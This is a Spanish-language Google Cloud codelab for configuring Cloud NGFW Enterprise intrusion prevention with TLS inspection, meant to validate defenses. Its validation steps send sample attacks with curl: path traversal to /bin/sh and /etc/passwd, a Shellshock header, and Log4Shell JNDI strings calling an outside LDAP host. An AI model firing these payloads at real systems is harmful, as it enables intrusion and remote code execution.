Codelab de Cloud NGFW Enterprise [con inspección de TLS]

1. Introducción

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall es un servicio de firewall completamente distribuido con capacidades de protección avanzada, microsegmentación y cobertura generalizada para proteger tus cargas de trabajo de Google Cloud de los ataques internos y externos.

La NGFW de Cloud tiene los siguientes beneficios:

  • Servicio de firewall distribuido: Cloud NGFW proporciona una aplicación con estado basada en el host completamente distribuida en cada carga de trabajo para habilitar una arquitectura de seguridad de confianza cero.
  • Implementación y configuración simplificadas: Cloud NGFW implementa políticas de firewall jerárquicas y de red que se pueden adjuntar a un nodo de jerarquía de recursos. Estas políticas proporcionan una experiencia de firewall coherente en toda la jerarquía de recursos de Google Cloud.
  • Control detallado y microsegmentación: La combinación de políticas de firewall y etiquetas administradas por Identity and Access Management (IAM) proporciona un control detallado para el tráfico norte-sur y este-oeste, hasta una sola VM, en redes y organizaciones de nube privada virtual (VPC).

Cloud NGFW está disponible en los siguientes niveles:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise agrega el servicio de prevención de intrusiones (IPS), una función de capa 7, al tejido distribuido de Google Cloud Firewall. La inspección de TLS es compatible para permitir la inspección del tráfico encriptado con TLS.

Ahora puedes implementar inspecciones confiables de firewall de nueva generación (NGFW) de capa 7 con controles detallados, sin realizar ningún cambio en la arquitectura de red ni en la configuración de enrutamiento.

Para activar y, luego, implementar el control de firewall de la capa 7 con IPS, debes realizar las siguientes tareas:

  • Crea un conjunto de extremos de firewall zonal administrados por Google Cloud.
  • De manera opcional, crea una política de inspección de TLS.
  • De manera opcional, crea una configuración de confianza.
  • Asocia estos extremos con las redes de nube privada virtual (VPC) en las que necesitas el servicio de NGFW empresarial de Cloud.
  • Realiza cambios simples en tus políticas y reglas de firewall existentes para especificar los perfiles de prevención de amenazas para las diversas rutas de tráfico.

Políticas de firewall de red

La política de firewall de red actúa como un contenedor para las reglas de firewall. Las reglas que se definen en una política de firewall de red no se aplican en ningún lugar hasta que la política esté asociada con una red de VPC. Cada red de VPC puede tener asociada una política de firewall de red. Las políticas de firewall de red admiten etiquetas controladas por IAM (o solo etiquetas) en las reglas de firewall, que reemplazan las etiquetas de red actuales y se pueden usar para proporcionar identidad a la carga de trabajo.

Compartir una política de firewall de red entre redes y la integración con etiquetas controladas por IAM simplifica en gran medida la configuración y administración de los firewalls.

Con la introducción de la política de firewall de red, las políticas de firewall de Google Cloud ahora consisten en los siguientes componentes:

  1. Política de firewall jerárquica
  2. Reglas de firewall de VPC
  3. Política de firewall de red ( global y regional)

Las políticas de firewall jerárquicas son compatibles con los nodos de organización y carpeta dentro de la jerarquía de recursos, mientras que las reglas de firewall de VPC y las políticas de firewall de red se aplican a nivel de VPC. Una gran diferencia entre las reglas de firewall de VPC y las políticas de firewall de red es que las reglas de firewall de VPC solo se pueden aplicar a una sola red de VPC, mientras que las políticas de firewall de red se pueden adjuntar a una sola VPC o a un grupo de VPC, entre otros beneficios, como las actualizaciones por lotes.

Por último, también tenemos las reglas de firewall implícitas que se incluyen en cada red de VPC:

  • Una regla de salida cuya acción es permitir, destino es 0.0.0.0/0
  • Una regla de entrada cuya acción es deny (rechazar), el origen es 0.0.0.0/0

De forma predeterminada, la secuencia de aplicación se muestra en el siguiente diagrama:

21b3bcabc469ffe.png

Ten en cuenta que se puede intercambiar el orden de aplicación entre las reglas de firewall de VPC y la política de firewall de red global. Los clientes pueden especificar el orden de aplicación en cualquier momento con un comando gcloud.

Etiquetas

Las nuevas etiquetas integradas en las reglas de la política de firewall de red son recursos de par clave-valor definidos a nivel de la organización o a nivel del proyecto de la jerarquía de recursos de Google Cloud. Una etiqueta de este tipo contiene controles de acceso de IAM que especifican quién puede hacer qué en la etiqueta. Por ejemplo, los permisos de Identity and Access Management (IAM) permiten especificar qué principales pueden asignar valores a las etiquetas y cuáles pueden adjuntarlas a los recursos. Si una regla de firewall de red hace referencia a una etiqueta, se debe aplicar a un recurso para que se aplique.

Las etiquetas se adhieren al modelo de recursos de herencia de Google Cloud, lo que significa que las etiquetas y sus valores se transmiten a través de la jerarquía desde sus elementos superiores. Como resultado, las etiquetas se pueden crear en un lugar y, luego, usarlas en otras carpetas y proyectos en toda la jerarquía de recursos. Visita esta página para obtener detalles sobre las etiquetas y la restricción de acceso.

No se deben confundir las etiquetas con las etiquetas de red. Estos últimos son cadenas que se pueden agregar a las instancias de Compute Engine. Se asocian con la instancia y desaparecen cuando esta se da de baja. Las reglas de firewall de VPC pueden incluir etiquetas de red, pero, como no se consideran recursos de la nube, no están sujetas al control de acceso de IAM.

Ten en cuenta que las etiquetas y las etiquetas administradas por IAM se usan indistintamente en este documento.

Qué compilarás

Este codelab requiere un solo proyecto y la capacidad de crear una red de VPC, así como administrar varios recursos de red y seguridad. Se mostrará cómo Cloud NGFW Enterprise puede proporcionar la funcionalidad de IPS de las siguientes maneras:

  • Inspección de flujos de Internet orientados al norte con la inspección de TLS
  • Inspección de flujos intra-VPC [este-oeste] con inspección de TLS

Los flujos que se inspeccionarán se seleccionarán con los parámetros de coincidencia del firewall de Cloud, incluidos la tupla de 5 elementos (IP de origen, IP de destino, protocolo, puerto de origen y puerto de destino) y las etiquetas.

3d0f288d3b92a295.png

El estado final de la base de reglas de la política de firewall de red será similar a la siguiente tabla:

Prioridad

Dirección

Destino

Origen

Destino

Acción

Tipo

100

Entrada

Server_Tag

Verificaciones de estado

Cualquiera

Permitir

Imprescindibles

200

Entrada

Client_Tag, Server_Tag

IAP

Cualquiera

Permitir

Imprescindibles

800

Entrada

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspección de L7

Enterprise

850

Salida

Client_Tag

Cualquiera

10.0.0.0/24

Permitir

Imprescindibles

900

Salida

Client_Tag

Cualquiera

Cualquiera

Inspección de L7

Enterprise

Qué aprenderás

  • Cómo crear una política de firewall de red
  • Cómo crear y usar etiquetas con la política de firewall de red
  • Cómo configurar y usar Cloud NGFW Enterprise con inspección de TLS

Requisitos

  • Proyecto de Google Cloud.
  • Conocimientos para implementar instancias y configurar componentes de red
  • Conocimientos sobre la configuración de firewalls de VPC

2. Antes de comenzar

Cómo crear o actualizar variables

En este codelab, se usan $variables para ayudar a implementar la configuración de gcloud en Cloud Shell.

En Cloud Shell, ejecuta los siguientes comandos y reemplaza la información entre corchetes según sea necesario:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Habilita las APIs

Habilita las APIs si aún no lo hiciste:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Creación de extremos de Cloud NGFW Enterprise

Dado que la creación del extremo empresarial de Cloud NGFW tarda alrededor de 20 minutos, se creará primero y la configuración básica se puede realizar en paralelo mientras se crea el extremo.

Crea el perfil de seguridad y el grupo de perfiles de seguridad:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Resultado esperado:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Confirma que los recursos se hayan creado correctamente:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Crea el extremo de Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Ejecuta el siguiente comando para confirmar que se está creando el extremo (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

El proceso de creación tarda alrededor de 20 minutos. Continúa con la sección Configuración básica para crear los recursos necesarios en paralelo.

5. Configuración básica

Red y subred de VPC

Red y subred de VPC

Crea la red y la subred de VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Crea el Cloud Router y la puerta de enlace de Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancias

Crea las instancias del cliente y del servidor web:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Etiquetas a nivel del proyecto

Asigna el permiso tagAdmin al usuario si es necesario:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Crea la clave y los valores de la etiqueta a nivel del proyecto:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Vincula las etiquetas a las instancias:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Política de firewall de red global

Crea una política de firewall de red global:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Crea las reglas esenciales de firewall de Cloud necesarias para permitir el tráfico de los rangos de verificación de estado y proxy consciente de identidad:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Crea las reglas de Cloud Firewall necesarias para permitir el tráfico de entrada este-oeste o intrasubred desde los rangos específicos (estas reglas se actualizarán para habilitar Cloud NGFW Enterprise con inspección de TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Asocia la política de firewall de nube a la red de VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Asociación de extremos de firewall de Cloud

Define las variables de entorno en caso de que aún no lo hayas hecho o prefieras el enfoque de la secuencia de comandos.

Confirma que la creación del extremo de Firewall de Cloud se haya completado correctamente. Continúa solo cuando el estado aparezca como ACTIVO (durante la creación, el estado esperado es CREANDO):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Resultado esperado (ten en cuenta que el formato de salida puede variar según el cliente que se use):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Asocia el extremo del firewall de Cloud a la red de VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

El proceso de asociación tarda unos 10 minutos. Continúa con la sección de TLS solo cuando el estado aparezca como ACTIVE (durante la creación, el estado esperado es CREATING):

gcloud network-security firewall-endpoint-associations list

Resultado esperado cuando se complete:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

De manera opcional, ejecuta el siguiente comando para obtener más detalles:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Resultado esperado:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Configura recursos de TLS

Crea un grupo de AC. Este recurso se usará para alojar el certificado de AC raíz que generamos para NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Crea la AC raíz. Este es el certificado de la AC que se usará para firmar certificados adicionales para las solicitudes a través de NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Si se te muestra el siguiente mensaje, responde y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Crea una cuenta de servicio. Esta cuenta de servicio se usará para solicitar certificados para NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Establece los permisos de IAM para la cuenta de servicio:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Crea el archivo YAML de la política de TLS. Este archivo contendrá información sobre los recursos específicos:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importa la política de inspección de TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Actualiza la asociación de extremos para habilitar TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Obtén el certificado de la AC y agrégalo al almacén de AC del cliente:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transfiere el certificado de la AC al cliente:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Establece una conexión SSH a la VM, mueve el certificado de la AC a /usr/local/share/ca-certificates y actualiza la tienda de la AC:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Regresa a Cloud Shell.

Proceso de firma de certificados de servidor:

En Cloud Shell, instala la biblioteca de criptografía de Pyca con el comando pip:

pip install --user "cryptography>=2.2.0"

Para permitir que el SDK de Google Cloud use la biblioteca de criptografía de Pyca, debes habilitar los paquetes del sitio.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Crea el certificado del servidor:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Esto generará un archivo cert.pem y key.pem en Cloudshell. A continuación, transfiere el certificado y la clave al servidor.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Usa SSH para acceder al servidor y actualizar los detalles del certificado de Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Mueve el certificado y la clave a una carpeta específica:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Actualiza la configuración de SSL para usar un certificado firmado:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Reinicia Apache:

sudo systemctl restart apache2

Verifica el estado de Apache:

sudo systemctl status apache2

Debe estar activo (en ejecución).

Sal de la VM y continúa en Cloud Shell.

8. Valida la conectividad norte y este-oeste

Ejecuta los siguientes comandos en Cloud Shell y toma nota de las IP de destino que se usarán:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Abre una pestaña nueva y, luego, inicia una conexión SSH a la VM del cliente a través de IAP (deberás definir las variables en la pestaña nueva):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Ejecuta los siguientes comandos y anota las IP de destino que se usarán. Crea las variables reemplazando los valores entre corchetes por las IPs que anotaste en el paso anterior y asegúrate de que se puedan alcanzar:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Ejecuta curl en la IP privada y asegúrate de que se pueda acceder a ella:

curl https://$target_privateip --max-time 2

Resultados esperados para la solicitud cURL:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Envía ataques de muestra a la IP. El servidor web debe responder a todas las solicitudes y confirmar que no hay una inspección o prevención de L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Resultados esperados de muestra (IP privada):

400
404
400
200
200

Del mismo modo, envía solicitudes a un destino de Internet:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Ejemplo de resultados esperados (destino de Internet):

400
404
400
403
403

Sal de la terminal de la VM y vuelve a Cloud Shell.

9. Crea y actualiza reglas de firewall para la inspección de TLS

Anteriormente, configuramos una regla de firewall para permitir el tráfico de entrada a nuestro servidor desde la subred interna. Ahora, actualizaremos las reglas de entrada existentes y estableceremos la acción en apply_security_profile_group. Esto habilitará la inspección de L7 de E/W con TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Crea una regla nueva para inspeccionar la inspección de L7 orientada al norte con TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Crea una regla nueva para permitir la SALIDA para E/W y evitar la inspección doble.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Validación de la inspección de TLS orientada al norte

Regresa a la pestaña de la VM de cliente o vuelve a conectarte:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envía los ataques de muestra a un destino de Internet:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

No se reciben respuestas según el resultado esperado que se muestra a continuación, lo que confirma que los ataques de muestra ahora se bloquean:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Establece la variable en la IP del servidor anterior:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Envía solicitudes de TLS de muestra al servidor:

curl https://$target_privateip --max-time 2

Resultado esperado:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

¿Por qué falló esta solicitud? Esto se debe a que el firewall recibe un certificado del servidor que no es de confianza. Si esto ocurre, se pasará un certificado autofirmado al cliente. Debemos agregar el certificado de la AC como parte de una configuración de confianza para habilitarla.

Regresa a Cloud Shell.

11. Configura la configuración de confianza

Obtén el certificado de la AC raíz y configúralo como una variable con el formato correcto.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Configura el archivo YAML de Trust Config. Este archivo contiene detalles de confianza, como certificados de AC:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Los comandos anteriores incluyeron tu certificado de AC raíz como parte del almacén de confianza, ya que el certificado de tu servidor se firmó con la AC raíz. Esto significa que el firewall confiará en cualquier certificado que reciba firmado por tu AC raíz, además de las AC públicas si tu política de TLS tiene excludePublicCaSet como falso.

Verifica el contenido de la configuración de confianza.

cat trust_config.yaml

Resultado de muestra:

Presta especial atención a la alineación de la sangría del certificado. Debe seguir este formato exactamente.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importa la configuración de confianza:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Actualiza el archivo YAML de la política de TLS para incluir la configuración de confianza:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Importa la política de TLS actualizada:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

